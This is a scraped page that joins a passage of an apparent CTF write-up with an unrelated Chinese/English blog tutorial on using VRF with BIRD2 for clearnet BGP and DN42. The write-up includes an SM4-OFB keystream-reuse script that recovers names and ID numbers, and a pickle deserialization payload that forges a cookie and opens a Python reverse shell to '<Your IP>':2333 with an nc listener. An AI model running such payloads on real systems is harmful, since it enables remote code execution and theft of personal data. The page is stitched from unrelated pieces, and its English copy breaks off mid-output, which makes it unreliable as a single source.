    ks_blocks["id"].append(xor_bytes(c, p))

print("Derived keystream blocks (hex):")
for field, blks in ks_blocks.items():
    print(field, [b.hex() for b in blks])

# 2) 使用上述 keystream 去解 record2 相应字段
def recover_field(cipher_hex, ks_list):
    C = unhexlify(cipher_hex)
    blocks = split_blocks(C)
    recovered_padded = b''.join(xor_bytes(c, ks) for c, ks in zip(blocks, ks_list))
    # 尝试去除填充并解码
    try:
        recovered = unpad(recovered_padded, BS).decode('utf-8')
    except Exception as e:
        recovered = None
    return recovered, recovered_padded

name_rec, name_padded = recover_field(record2["name_cipher_hex"], ks_blocks["name"])
phone_rec, phone_padded = recover_field(record2["phone_cipher_hex"], ks_blocks["phone"])
id_rec, id_padded = recover_field(record2["id_cipher_hex"], ks_blocks["id"])

print("\nRecovered (if OFB with same IV/key and per-field restart):")
print("Name padded bytes (hex):", name_padded.hex())
print("Name plaintext:", name_rec)
print("Phone padded bytes (hex):", phone_padded.hex())
print("Phone plaintext:", phone_rec)
print("ID padded bytes (hex):", id_padded.hex())
print("ID plaintext:", id_rec)

# 如果解码失败，打印原始 bytes 以便人工分析
# if name_rec is None:
#     print("\nName padded bytes (raw):", name_padded)
# if phone_rec is None:
#     print("Phone padded bytes (raw):", phone_padded)
# if id_rec is None:
#     print("ID padded bytes (raw):", id_padded)

# 结束

We found that names and ID numbers could be computed. After dumping all names from the Excel sheet into a text file, we had AI write a batch processing script:

#!/usr/bin/env python3
"""
Batch-decrypt names encrypted with SM4-OFB where the same IV/nonce was reused and
one known plaintext/ciphertext pair is available (from record1).

This script:
 - Reads an input file (one hex-encoded cipher per line).
 - Uses the known record1 name plaintext & ciphertext to derive the OFB keystream
   blocks for the name-field (keystream = C XOR P_padded).
 - XORs each input cipher with the derived keystream blocks to recover plaintext,
   removes PKCS#7 padding if present, and prints a line containing:
       <recovered_name>\t<cipher_hex>

Usage:
    python3 sm4_ofb_batch_decrypt_names.py names_cipher.txt

Notes:
 - This assumes each name was encrypted as a separate field starting OFB from
   the same IV (so keystream blocks align for the name-field) and PKCS#7 padding
   was used before encryption. If names exceed the number of derived keystream
   blocks the script will attempt to reuse the keystream cyclically (warns about it),
   but ideally you should supply a longer known plaintext/ciphertext pair to
   derive more keystream blocks.
 - Requires pycryptodome for padding utilities:
       pip install pycryptodome

Edit the KNOWN_* constants below if your known record1 values differ.
"""

import sys
from binascii import unhexlify, hexlify
from Crypto.Util.Padding import pad, unpad

# -----------------------
# ----- KNOWN VALUES ----
# -----------------------
# These are taken from the CTF prompt / earlier messages. Change them if needed.
KNOWN_NAME_PLAIN = "蒋宏玲"  # record1 known plaintext for name field
KNOWN_NAME_CIPHER_HEX = "cef18c919f99f9ea19905245fae9574e"  # record1 name ciphertext hex
IV_HEX = "6162636465666768696a6b6c6d6e6f70"  # the IV column (fixed)

# Block size for SM4 (16 bytes)
BS = 16

# -----------------------
# ----- Helpers ---------
# -----------------------

def xor_bytes(a: bytes, b: bytes) -> bytes:
    return bytes(x ^ y for x, y in zip(a, b))


def split_blocks(b: bytes, bs: int = BS):
    return [b[i:i+bs] for i in range(0, len(b), bs)]


# -----------------------
# ----- Derive keystream from the known pair
# -----------------------

def derive_keystream_from_known(known_plain: str, known_cipher_hex: str):
    p = known_plain.encode('utf-8')
    c = unhexlify(known_cipher_hex)
    p_padded = pad(p, BS)
    p_blocks = split_blocks(p_padded)
    c_blocks = split_blocks(c)
    if len(p_blocks) != len(c_blocks):
        raise ValueError('Known plaintext/cipher block count mismatch')
    ks_blocks = [xor_bytes(cb, pb) for cb, pb in zip(c_blocks, p_blocks)]
    return ks_blocks


# -----------------------
# ----- Recovery --------
# -----------------------

def recover_name_from_cipher_hex(cipher_hex: str, ks_blocks):
    c = unhexlify(cipher_hex.strip())
    c_blocks = split_blocks(c)
    # If there are more cipher blocks than ks_blocks, warn and reuse ks cyclically
    if len(c_blocks) > len(ks_blocks):
        print("[WARN] cipher needs %d blocks but only %d keystream blocks available; reusing keystream cyclically" % (len(c_blocks), len(ks_blocks)), file=sys.stderr)
    recovered_blocks = []
    for i, cb in enumerate(c_blocks):
        ks = ks_blocks[i % len(ks_blocks)]
        recovered_blocks.append(xor_bytes(cb, ks))
    recovered_padded = b''.join(recovered_blocks)
    # Try to unpad and decode; if fails, return hex of raw bytes
    try:
        recovered = unpad(recovered_padded, BS).decode('utf-8')
    except Exception:
        try:
            recovered = recovered_padded.decode('utf-8')
        except Exception:
            recovered = '<raw:' + recovered_padded.hex() + '>'
    return recovered


# -----------------------
# ----- Main -----------
# -----------------------

def main():
    if len(sys.argv) != 2:
        print('Usage: python3 sm4_ofb_batch_decrypt_names.py <names_cipher_file>', file=sys.stderr)
        sys.exit(2)
    inpath = sys.argv[1]

    ks_blocks = derive_keystream_from_known(KNOWN_NAME_PLAIN, KNOWN_NAME_CIPHER_HEX)

    with open(inpath, 'r', encoding='utf-8') as f:
        for lineno, line in enumerate(f, 1):
            line = line.strip()
            if not line:
                continue
            # Assume each line is one hex-encoded name ciphertext (no spaces)
            try:
                recovered = recover_name_from_cipher_hex(line, ks_blocks)
            except Exception as e:
                recovered = '<error: %s>' % str(e)
            print(f"{recovered}\t{line}")


if __name__ == '__main__':
    main()

Searching revealed that the ciphertext corresponding to 何浩璐 was c2de929284bff9f63b905245fae9574e. Searching for the ID number ciphertext corresponding to this in Excel yielded: 1751374401262f5d9ca36576ccde617fad8baace87de269e6659fdbc1f3ea41c. Decrypting this with the above script gave: 120000197404101676. Calculating its MD5: fbb80148b75e98b18d65be446f505fcc gives the Flag.

dataIdSort

We provided the requirements to AI and had it write a script:

#!/usr/bin/env python3
# coding: utf-8
"""
功能：
- 从 data.txt 中按顺序精确提取：身份证(idcard)、手机号(phone)、银行卡(bankcard)、IPv4(ip)、MAC(mac)。
- 严格遵循《个人信息数据规范文档》，优化正则表达式和匹配策略以达到高准确率。
- 所有匹配项均保留原始格式，并输出到 output.csv 文件中。
"""

import re
import csv
from datetime import datetime

# ------------------- 配置 -------------------
INPUT_FILE = "data.txt"
OUTPUT_FILE = "output.csv"
DEBUG = False  # 设置为 True 以在控制台打印详细的接受/拒绝日志

# 手机号前缀白名单
ALLOWED_MOBILE_PREFIXES = {
    "134", "135", "136", "137", "138", "139", "147", "148", "150", "151", "152", "157", "158", "159",
    "172", "178", "182", "183", "184", "187", "188", "195", "198", "130", "131", "132", "140", "145",
    "146", "155", "156", "166", "167", "171", "175", "176", "185", "186", "196", "133", "149", "153",
    "173", "174", "177", "180", "181", "189", "190", "191", "193", "199"
}
# ---------------------------------------------


# ------------------- 校验函数 -------------------

def luhn_check(digits: str) -> bool:
    """对数字字符串执行Luhn算法校验。"""
    s = 0
    alt = False
    for char in reversed(digits):
        d = int(char)
        if alt:
            d *= 2
            if d > 9:
                d -= 9
        s += d
        alt = not alt
    return s % 10 == 0

def is_valid_id(raw: str):
    """校验身份证号的有效性（长度、格式、出生日期、校验码）。"""
    sep_pattern = r'[\s\-\u00A0\u3000\u2013\u2014]'
    s = re.sub(sep_pattern, '', raw)
    
    if len(s) != 18 or not re.match(r'^\d{17}[0-9Xx]$', s):
        return False, "无效的格式或长度"
    
    try:
        birth_date = datetime.strptime(s[6:14], "%Y%m%d")
        if not (1900 <= birth_date.year <= datetime.now().year):
            return False, f"无效的出生年份: {birth_date.year}"
    except ValueError:
        return False, "无效的出生日期"

    weights = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
    check_map = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2']
    
    total = sum(int(digit) * weight for digit, weight in zip(s[:17], weights))
    expected_check = check_map[total % 11]
    
    if s[17].upper() != expected_check:
        return False, f"校验码不匹配: 期望值 {expected_check}"
        
    return True, ""

def is_valid_phone(raw: str) -> bool:
    """校验手机号的有效性（长度和号段）。"""
    digits = re.sub(r'\D', '', raw)
    if digits.startswith("86") and len(digits) > 11:
        digits = digits[2:]
    
    return len(digits) == 11 and digits[:3] in ALLOWED_MOBILE_PREFIXES

def is_valid_bankcard(raw: str) -> bool:
    """校验银行卡号的有效性（16-19位纯数字 + Luhn算法）。"""
    if not (16 <= len(raw) <= 19 and raw.isdigit()):
        return False
    return luhn_check(raw)

def is_valid_ip(raw: str) -> bool:
    """校验IPv4地址的有效性（4个0-255的数字，不允许前导零）。"""
    parts = raw.split('.')
    if len(parts) != 4:
        return False
    # 检查是否存在无效部分，如 '01'
    if any(len(p) > 1 and p.startswith('0') for p in parts):
        return False
    return all(p.isdigit() and 0 <= int(p) <= 255 for p in parts)

def is_valid_mac(raw: str) -> bool:
    """校验MAC地址的有效性。"""
    # 正则表达式已经非常严格，这里仅做最终确认
    return re.fullmatch(r'([0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2}', raw, re.IGNORECASE) is not None

# ------------------- 正则表达式定义 -------------------

# 模式的顺序经过精心设计，以减少匹配歧义：优先匹配格式最特殊的。
# 1. MAC地址：格式明确，使用冒号分隔。
mac_pattern = r'(?P<mac>(?:[0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2})'

# 2. IP地址：格式明确，使用点分隔。该正则更精确，避免匹配如 256.1.1.1 的无效IP。
ip_pattern = r'(?P<ip>(?<!\d)(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)\.){3}(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?!\d))'

# 3. 身份证号：结构为 6-8-4，长度固定，比纯数字的银行卡更具特异性。
sep = r'[\s\-\u00A0\u3000\u2013\u2014]'
id_pattern = rf'(?P<id>(?<!\d)\d{{6}}(?:{sep}*)\d{{8}}(?:{sep}*)\d{{3}}[0-9Xx](?!\d))'

# 4. 银行卡号：匹配16-19位的连续数字。这是最通用的长数字模式之一，放在后面匹配。
bankcard_pattern = r'(?P<bankcard>(?<!\d)\d{16,19}(?!\d))'

# 5. 手机号：匹配11位数字的特定格式，放在最后以避免错误匹配更长数字串的前缀。
phone_prefix = r'(?:\(\+86\)|\+86\s*)'
phone_body = r'(?:\d{11}|\d{3}[ -]\d{4}[ -]\d{4})'
phone_pattern = rf'(?P<phone>(?<!\d)(?:{phone_prefix})?{phone_body}(?!\d))'

# 将所有模式编译成一个大的正则表达式
combined_re = re.compile(
    f'{mac_pattern}|{ip_pattern}|{id_pattern}|{bankcard_pattern}|{phone_pattern}',
    flags=re.UNICODE | re.IGNORECASE
)

# ------------------- 主逻辑 -------------------

def extract_from_text(text: str):
    """
    使用单一的、组合的正则表达式从文本中查找所有候选者，并逐一校验。
    """
    results = []
    
    for match in combined_re.finditer(text):
        kind = match.lastgroup
        value = match.group(kind)
        
        if kind == 'mac':
            if is_valid_mac(value):
                if DEBUG: print(f"【接受 mac】: {value}")
                results.append(('mac', value))
            elif DEBUG: print(f"【拒绝 mac】: {value}")
        
        elif kind == 'ip':
            if is_valid_ip(value):
                if DEBUG: print(f"【接受 ip】: {value}")
                results.append(('ip', value))
            elif DEBUG: print(f"【拒绝 ip】: {value}")

        elif kind == 'id':
            is_valid, reason = is_valid_id(value)
            if is_valid:
                if DEBUG: print(f"【接受 idcard】: {value}")
                results.append(('idcard', value))
            else:
                # 降级处理：如果作为身份证校验失败，则尝试作为银行卡校验
                digits_only = re.sub(r'\D', '', value)
                if is_valid_bankcard(digits_only):
                    if DEBUG: print(f"【接受 id->bankcard】: {value}")
                    # 规范要求保留原始格式
                    results.append(('bankcard', value))
                elif DEBUG: print(f"【拒绝 id】: {value} (原因: {reason})")

        elif kind == 'bankcard':
            if is_valid_bankcard(value):
                if DEBUG: print(f"【接受 bankcard】: {value}")
                results.append(('bankcard', value))
            elif DEBUG: print(f"【拒绝 bankcard】: {value}")
        
        elif kind == 'phone':
            if is_valid_phone(value):
                if DEBUG: print(f"【接受 phone】: {value}")
                results.append(('phone', value))
            elif DEBUG: print(f"【拒绝 phone】: {value}")
                
    return results

def main():
    """主函数：读取文件，执行提取，写入CSV。"""
    try:
        with open(INPUT_FILE, "r", encoding="utf-8", errors="ignore") as f:
            text = f.read()
    except FileNotFoundError:
        print(f"错误: 输入文件 '{INPUT_FILE}' 未找到。请确保该文件存在于脚本运行目录下。")
        # 创建一个空的data.txt以确保脚本可以运行
        with open(INPUT_FILE, "w", encoding="utf-8") as f:
            f.write("")
        print(f"已自动创建空的 '{INPUT_FILE}'。请向其中填充需要分析的数据。")
        text = ""

    extracted_data = extract_from_text(text)

    with open(OUTPUT_FILE, "w", newline="", encoding="utf-8") as csvfile:
        writer = csv.writer(csvfile)
        writer.writerow(["category", "value"])
        writer.writerows(extracted_data)
    
    print(f"分析完成。共识别 {len(extracted_data)} 条有效敏感数据。结果已保存至 '{OUTPUT_FILE}'。")

if __name__ == "__main__":
    main()

Execution produces export.csv. Uploading this with accuracy >=98% yields the Flag: DASCTF{34164200333121342836358909307523}

ez_blog

Opening the webpage revealed a login requirement. Following hints, we successfully logged in as a guest using username guest and password guest. We observed a Cookie containing Token=8004954b000000000000008c03617070948c04557365729493942981947d94288c026964944b028c08757365726e616d65948c056775657374948c0869735f61646d696e94898c096c6f676765645f696e948875622e. AI analysis revealed this was pickle serialization converted to hex. Decoding showed: KappUser)}(idusernameguesis_admin logged_inub.. We modified the content to change username to admin and is_admin to True, resulting in: 8004954b000000000000008c03617070948c04557365729493942981947d9428 8c026964944b028c08757365726e616d65948c0561646d696e948c0869735f61 646d696e94888c096c6f676765645f696e948875622e. Modifying the request Cookies via BurpSuite successfully granted admin privileges (with article creation rights):
This indicated the server deserializes the Token, allowing exploitation of deserialization vulnerabilities. With no echo, we opted for a reverse shell. We crafted the Payload:

import pickle
import time
import binascii
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('''python3 -c "import os
import socket
import subprocess
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('<Your IP>', 2333))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(['/bin/sh', '-i'])"''',))

payload = pickle.dumps(Exploit())
hex_token = binascii.hexlify(payload).decode()
print(hex_token)
print(payload)

obj = pickle.loads(payload)

Execution produced the Payload: 80049510010000000000008c05706f736978948c0673797374656d9493948cf5707974686f6e33202d632022696d706f7274206f730a696d706f727420736f636b65740a696d706f72742073756270726f636573730a733d736f636b65742e736f636b657428736f636b65742e41465f494e45542c20736f636b65742e534f434b5f53545245414d290a732e636f6e6e6563742828273c596f75722049503e272c203233333329290a6f732e6475703228732e66696c656e6f28292c2030290a6f732e6475703228732e66696c656e6f28292c2031290a6f732e6475703228732e66696c656e6f28292c2032290a70203d2073756270726f636573732e63616c6c285b272f62696e2f7368272c20272d69275d292294859452942e. After running nc -lvvp 2333 on our server and sending the Payload as the Token, we successfully obtained a shell. The Flag was located in /thisisthefffflllaaaggg.txt: Flag: DASCTF{15485426979172729258466667411440}

DN42&OneManISP - 使用VRF实现公网BGP和DN42共用一台机器

Tue, 16 Sep 2025 14:47:00 GMT

背景

目前同一区域内公网BGP和DN42分别用了一台VPS，也就是说同一个区域需要两台机器。从群友那里得知了VRF，便想着通过VRF实现同一台机器同时处理公网BGP并加入DN42。

注意：VRF方案因为其隔离性，会导致DN42无法访问主机的服务。如果你需要在服务器上跑诸如DNS之类的服务给DN42用，你可能需要再单独配置端口转发或者veth，但是不在本文讨论范围内。（这也是我实际生产环境最终还是没有采用VRF的原因）

VRF的优点

虽然说DN42使用的IP段是私有地址，并且它的ASN用的都是内部ASN，理论上不会和公网BGP相互干扰，但是如果共用同一张路由表，可能会造成路由污染、管理复杂等问题。

VRF（Virtual Routing and Forwarding，虚拟路由转发）可以实现在一台机器上创建多个路由表，也就是说我们可以通过它将DN42的路由单独放到一个路由表里，以实现将DN42路由表和公网路由表相隔离。这么做的优点有：

路由与策略隔离：将 DN42 和公网路由放入不同路由表，减少意外混用的机会。是否会发生路由泄漏仍取决于 BIRD 的导入导出过滤器及跨表配置，VRF 本身不能保证绝对安全。
清晰的运维管理：可以使用birdc show route table t_dn42和birdc show route table t_inet来分别查看和调试两张完全独立的路由表，一目了然。
减少路由变化的相互影响：DN42 对等体抖动时，相关变化可以留在对应的路由表中。但两套路由仍共享主机的 CPU、内存和网卡资源，不能据此认为它们在性能和故障上完全隔离。
更符合现代网络设计理念：在现代网络工程中，为不同的路由域（生产、测试、客户、合作伙伴）使用VRF是标准做法。它将你的设备逻辑上划分成了多个虚拟路由器。

配置

系统部分

创建VRF设备

使用以下指令创建一个名为dn42-vrf的VRF设备并关联到系统的1042号路由表：

ip link add dn42-vrf type vrf table 1042
ip link set dev dn42-vrf up # 启用

路由表号可以按照你自己的喜好修改，但是请避开以下几个保留路由表编号：

名称	ID	说明
`unspec`	0	未指定，基本不用
`main`	254	主路由表，大多数普通路由都放在这里
`default`	253	一般不用，保留
`local`	255	本机路由表，存放`127.0.0.1/8`、本机 IP、广播地址等，不能改

将现有的相应网卡关联到VRF

按照我目前的DN42网络为例，有若干WireGuard网卡和一个dummy网卡是用于DN42的，因此将这几个网卡都关联到VRF中：

ip link set dev <网卡名> master dn42-vrf

需要注意的是，网卡关联到VRF之后可能会丢失地址，因此需要重新为其添加一次地址，如：

ip addr add 172.20.234.225 dev dn42

完成之后，通过ip a应该能看到对应网卡的master是dn42-vrf：

156: dn42: <BROADCAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc noqueue master dn42-vrf state UNKNOWN group default qlen 1000
    link/ether b6:f5:28:ed:23:04 brd ff:ff:ff:ff:ff:ff
    inet 172.20.234.225/32 scope global dn42
       valid_lft forever preferred_lft forever
    inet6 fd18:3e15:61d0::1/128 scope global 
       valid_lft forever preferred_lft forever
    inet6 fe80::b4f5:28ff:feed:2304/64 scope link 
       valid_lft forever preferred_lft forever

持久化

我使用了ifupdown2来实现开机自动加载dummy网卡和VRF设备。

auto dn42-vrf
iface dn42-vrf inet manual
    vrf-table 1042

auto dn42
iface dn42 inet static
    pre-up ip link add $IFACE type dummy || true
    vrf dn42-vrf
    address <IPv4 Address>/32
    address <IPv6 Address>/128
    post-down ip link del $IFACE

我的dummy网卡名称为dn42，如果你的名称不一样请按需要修改。创建完后使用ifup dn42-vrf && ifup dn42即可启动dummy网卡和VRF。

WireGuard隧道

添加PostUp使其关联到vrf并重新为其绑定地址。举个例子：

[Interface]
PrivateKey = [数据删除]
ListenPort = [数据删除]
Table = off
Address = fe80::2024/64
+ PostUp = ip link set dev %i master dn42-vrf
+ PostUp = ip addr add fe80::2024/64 dev %i
PostUp = sysctl -w net.ipv6.conf.%i.autoconf=0

[Peer]
PublicKey = [数据删除]
Endpoint = [数据删除]
AllowedIPs = 10.0.0.0/8, 172.20.0.0/14, 172.31.0.0/16, fd00::/8, fe00::/8

然后重新启动隧道即可。

Bird2部分

首先我们需要定义两张路由表，分别用于dn42的IPv4和IPv6：

ipv4 table dn42_table_v4;
ipv6 table dn42_table_v6

随后，在kernel protocol中指定VRF和系统路由表编号，并在IPv4、IPv6中指定前面创建的v4、v6路由表：

protocol kernel dn42_kernel_v6{
+   vrf "dn42-vrf";
+   kernel table 1042;
    scan time 20;

    ipv6 {
+       table dn42_table_v6;
        import none;
        export filter {
            if source = RTS_STATIC then reject;
            krt_prefsrc = DN42_OWNIPv6;
            accept;
        };
    };
};

protocol kernel dn42_kernel_v4{
+   vrf "dn42-vrf";
+   kernel table 1042;
    scan time 20;

    ipv4 {
+       table dn42_table_v4;
        import none;
        export filter {
            if source = RTS_STATIC then reject;
            krt_prefsrc = DN42_OWNIP;
            accept;
        };
    };
}

除了kernel以外的protocol都加上VRF和IPv4、IPv6独立的table，但不需要指定系统路由表编号：

protocol static dn42_static_v4{
+   vrf "dn42-vrf";
    route DN42_OWNNET reject;

    ipv4 {
+       table dn42_table_v4;
        import all;
        export none;
    };
}

protocol static dn42_static_v6{
+   vrf "dn42-vrf";
    route DN42_OWNNETv6 reject;

    ipv6 {
+       table dn42_table_v6;
        import all;
        export none;
    };
}

总而言之就是：

一切和DN42有关的都给配置一个VRF和之前定义的路由表
只有kernel协议需要指定系统路由表编号，其他不需要

对于BGP、OSPF等也如法炮制，不过我选择将公网的RouterID和DN42的分开，因此还需要单独配置一个RouterID：

# /etc/bird/dn42/ospf.conf
protocol ospf v3 dn42_ospf_iyoroynet_v4 {
+   vrf "dn42-vrf";
+   router id DN42_OWNIP;
    ipv4 {
+       table dn42_table_v4;
        import where is_self_dn42_net() && source != RTS_BGP;
        export where is_self_dn42_net() && source != RTS_BGP;
    };

    include "ospf/*";
};

protocol ospf v3 dn42_ospf_iyoroynet_v6 {
+   vrf "dn42-vrf";
+   router id DN42_OWNIP;
    ipv6 {
+       table dn42_table_v6;
        import where is_self_dn42_net_v6() && source != RTS_BGP;
        export where is_self_dn42_net_v6() && source != RTS_BGP;
    };

    include "ospf/*";
};

# /etc/bird/dn42/ebgp.conf
...
template bgp dnpeers {
+   vrf "dn42-vrf";
+   router id DN42_OWNIP;
    local as DN42_OWNAS;
    path metric 1;

    ipv4 {
+       table dn42_table_v4;
        ...
    };

    ipv6 {
+       table dn42_table_v6;
        ...
    };
}

include "peers/*";

完成后birdc c重载配置即可。
这时，我们可以通过ip route show vrf dn42-vrf来单独查看DN42的路由表：

root@iYoRoyNetworkHKGBGP:~# ip route show vrf dn42-vrf
10.26.0.0/16 via inet6 fe80::ade0 dev dn42_4242423914 proto bird src 172.20.234.225 metric 32 
10.29.0.0/16 via inet6 fe80::ade0 dev dn42_4242423914 proto bird src 172.20.234.225 metric 32 
10.37.0.0/16 via inet6 fe80::ade0 dev dn42_4242423914 proto bird src 172.20.234.225 metric 32 
...

也可以在Ping的时候通过参数-I dn42-vrf来实现通过VRF Ping：

root@iYoRoyNetworkHKGBGP:~# ping 172.20.0.53 -I dn42-vrf
ping: Warning: source address might be selected on device other than: dn42-vrf
PING 172.20.0.53 (172.20.0.53) from 172.20.234.225 dn42-vrf: 56(84) bytes of data.
64 bytes from 172.20.0.53: icmp_seq=1 ttl=64 time=3.18 ms
64 bytes from 172.20.0.53: icmp_seq=2 ttl=64 time=3.57 ms
64 bytes from 172.20.0.53: icmp_seq=3 ttl=64 time=3.74 ms
64 bytes from 172.20.0.53: icmp_seq=4 ttl=64 time=2.86 ms
^C
--- 172.20.0.53 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3006ms
rtt min/avg/max/mdev = 2.863/3.337/3.740/0.341 ms

注意事项

如果vrf设备重载了，所有原先和vrf相关联的设备都需要重载一次，否则无法正常工作
目前DN42是无法访问到配置了VRF的主机内的服务的，后续可能出一篇文章讲一下如何去让VRF内的流量可以访问到主机服务（挖坑ing）
从朋友那里了解到，可以通过设置net.ipv4.tcp_l3mdev_accept=1和net.ipv4.udp_l3mdev_accept=1来允许全局空间的监听套接字接受来自VRF域的连接请求，实现跨vrf监听服务。

参考文章：

用 BIRD 运行你的 MPLS 网络

DN42&OneManISP - Using VRF to Run Clearnet BGP and DN42 on the Same Machine

Tue, 16 Sep 2025 14:47:00 GMT

Background

Currently, clearnet BGP and DN42 each use a separate VPS in the same region, meaning two machines are required per region. After learning about VRF from a group member, I explored using VRF to enable a single machine to handle both clearnet BGP and DN42 simultaneously.

Note: Due to its isolation nature, the VRF solution will prevent DN42 from accessing services on the host. If you need to run services (like DNS) on the server for DN42, you might need additional port forwarding or veth configuration, which is beyond the scope of this article. (This is also the reason why I ultimately did not adopt VRF in my production environment).

Advantages of VRF

Although DN42 uses private IP ranges and internal ASNs, which theoretically shouldn't interfere with clearnet BGP, sharing the same routing table can lead to issues like route pollution and management complexity.

VRF (Virtual Routing and Forwarding) allows creating multiple routing tables on a single machine. This means we can isolate DN42 routes into a separate routing table, keeping them apart from the clearnet routing table. The advantages include:

Route and Policy Isolation: Separate tables reduce the chance of mixing DN42 and clearnet routes. Route leaks still depend on BIRD's import/export filters and any cross-table configuration; VRF alone cannot guarantee security.
Clear Operation and Management: Use commands like birdc show route table t_dn42 and birdc show route table t_inet to view and debug two completely independent routing tables, making things clear at a glance.
Reduced Interaction Between Routing Domains: Changes caused by a flapping DN42 peer can remain in its routing table, but both domains still share the host's CPU, memory, and interfaces. Their performance and failures are not fully isolated.
Alignment with Modern Network Design Principles: Using VRF for different routing domains (production, testing, customer, partner) is standard practice in modern network engineering. It logically divides your device into multiple virtual routers.

Configuration

System Part

Creating the VRF Interface

Use the following commands to create a VRF device named dn42-vrf and associate it with the system's routing table number 1042:

ip link add dn42-vrf type vrf table 1042
ip link set dev dn42-vrf up # Enable it

You can change the routing table number according to your preference, but avoid the following reserved routing table IDs:

Name	ID	Description
`unspec`	0	Unspecified, rarely used
`main`	254	Main routing table, where most ordinary routes reside
`default`	253	Generally unused, reserved
`local`	255	Local routing table, contains `127.0.0.1/8`, local IPs, broadcast addresses, etc. Cannot be modified

Associating Existing Network Interfaces with VRF

In my current DN42 setup, several WireGuard interfaces and a dummy interface are used for DN42. Therefore, associate these interfaces with the VRF:

ip link set dev <interface_name> master dn42-vrf

Note: After associating an interface with a VRF, it might lose its IP addresses. Therefore, you need to readd the addresses, for example:

ip addr add 172.20.234.225 dev dn42

After completion, ip a should show the corresponding interface's master as dn42-vrf:

156: dn42: <BROADCAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc noqueue master dn42-vrf state UNKNOWN group default qlen 1000
    link/ether b6:f5:28:ed:23:04 brd ff:ff:ff:ff:ff:ff
    inet 172.20.234.225/32 scope global dn42
       valid_lft forever preferred_lft forever
    inet6 fd18:3e15:61d0::1/128 scope global 
       valid_lft forever preferred_lft forever
    inet6 fe80::b4f5:28ff:feed:2304/64 scope link 
       valid_lft forever preferred_lft forever

Persistence

I use ifupdown2 to automatically load the dummy interface and VRF device on boot.

auto dn42-vrf
iface dn42-vrf inet manual
    vrf-table 1042

auto dn42
iface dn42 inet static
    pre-up ip link add $IFACE type dummy || true
    vrf dn42-vrf
    address <IPv4 Address>/32
    address <IPv6 Address>/128
    post-down ip link del $IFACE

My dummy interface is named dn42; modify accordingly if yours is different. After creation, use ifup dn42-vrf && ifup dn42 to start the dummy interface.

Note: The number prefix for the VRF device file should be smaller than that of the dummy interface file, ensuring the VRF device starts first.

WireGuard Tunnels

Add PostUp commands to associate them with the VRF and readd their addresses. Example:

[Interface]
PrivateKey = [Data Redacted]
ListenPort = [Data Redacted]
Table = off
Address = fe80::2024/64
+ PostUp = ip link set dev %i master dn42-vrf
+ PostUp = ip addr add fe80::2024/64 dev %i
PostUp = sysctl -w net.ipv6.conf.%i.autoconf=0

[Peer]
PublicKey = [Data Redacted]
Endpoint = [Data Redacted]
AllowedIPs = 10.0.0.0/8, 172.20.0.0/14, 172.31.0.0/16, fd00::/8, fe00::/8

Then restart the tunnel.

Bird2 Part

First, define two routing tables for DN42's IPv4 and IPv6:

ipv4 table dn42_table_v4;
ipv6 table dn42_table_v6

Then, specify the VRF and system routing table number in the kernel protocol, and specify the previously created v4/v6 routing tables in the IPv4/IPv6 sections:

protocol kernel dn42_kernel_v6{
+   vrf "dn42-vrf";
+   kernel table 1042;
    scan time 20;

    ipv6 {
+       table dn42_table_v6;
        import none;
        export filter {
            if source = RTS_STATIC then reject;
            krt_prefsrc = DN42_OWNIPv6;
            accept;
        };
    };
};

protocol kernel dn42_kernel_v4{
+   vrf "dn42-vrf";
+   kernel table 1042;
    scan time 20;

    ipv4 {
+       table dn42_table_v4;
        import none;
        export filter {
            if source = RTS_STATIC then reject;
            krt_prefsrc = DN42_OWNIP;
            accept;
        };
    };
}

For protocols other than kernel, add the VRF and the independent IPv4/IPv6 tables, but do not specify the system routing table number:

protocol static dn42_static_v4{
+   vrf "dn42-vrf";
    route DN42_OWNNET reject;

    ipv4 {
+       table dn42_table_v4;
        import all;
        export none;
    };
}

protocol static dn42_static_v6{
+   vrf "dn42-vrf";
    route DN42_OWNNETv6 reject;

    ipv6 {
+       table dn42_table_v6;
        import all;
        export none;
    };
}

In summary:

Configure a VRF and the previously defined routing tables for everything related to DN42.
Only the kernel protocol needs the system routing table number specified; others do not.

Apply the same method to BGP, OSPF, etc. However, I chose to use separate Router IDs for the clearnet and DN42, so a separate Router ID needs to be configured:

# /etc/bird/dn42/ospf.conf
protocol ospf v3 dn42_ospf_iyoroynet_v4 {
+   vrf "dn42-vrf";
+   router id DN42_OWNIP;
    ipv4 {
+       table dn42_table_v4;
        import where is_self_dn42_net() && source != RTS_BGP;
        export where is_self_dn42_net() && source != RTS_BGP;
    };

    include "ospf/*";
};

protocol ospf v3 dn42_ospf_iyoroynet_v6 {
+   vrf "dn42-vrf";
+   router id DN42_OWNIP;
    ipv6 {
+       table dn42_table_v6;
        import where is_self_dn42_net_v6() && source != RTS_BGP;
        export where is_self_dn42_net_v6() && source != RTS_BGP;
    };

    include "ospf/*";
};

# /etc/bird/dn42/ebgp.conf
...
template bgp dnpeers {
+   vrf "dn42-vrf";
+   router id DN42_OWNIP;
    local as DN42_OWNAS;
    path metric 1;

    ipv4 {
+       table dn42_table_v4;
        ...
    };

    ipv6 {
+       table dn42_table_v6;
        ...
    };
}

include "peers/*";

After completion, reload the configuration with birdc c.
Now, we can view the DN42 routing table separately using ip route show vrf dn42-vrf:

root@iYoRoyNetworkHKGBGP:~# ip route show vrf dn42-vrf
10.26.0.0/16 via inet6 fe80::ade0 dev dn42_4242423914 proto bird src 172.20.234.225 metric 32 
10.29.0.0/16 via inet6 fe80::ade0 dev dn42_4242423914 proto bird src 172.20.234.225 metric 32 
10.37.0.0/16 via inet6 fe80::ade0 dev dn42_4242423914 proto bird src 172.20.234.225 metric 32 
...

You can also ping through the VRF using the -I dn42-vrf parameter:

root@iYoRoyNetworkHKGBGP:~# ping 172.20.0.53 -I dn42-vrf
ping: Warning: source address might be selected on device other than: dn42-vrf
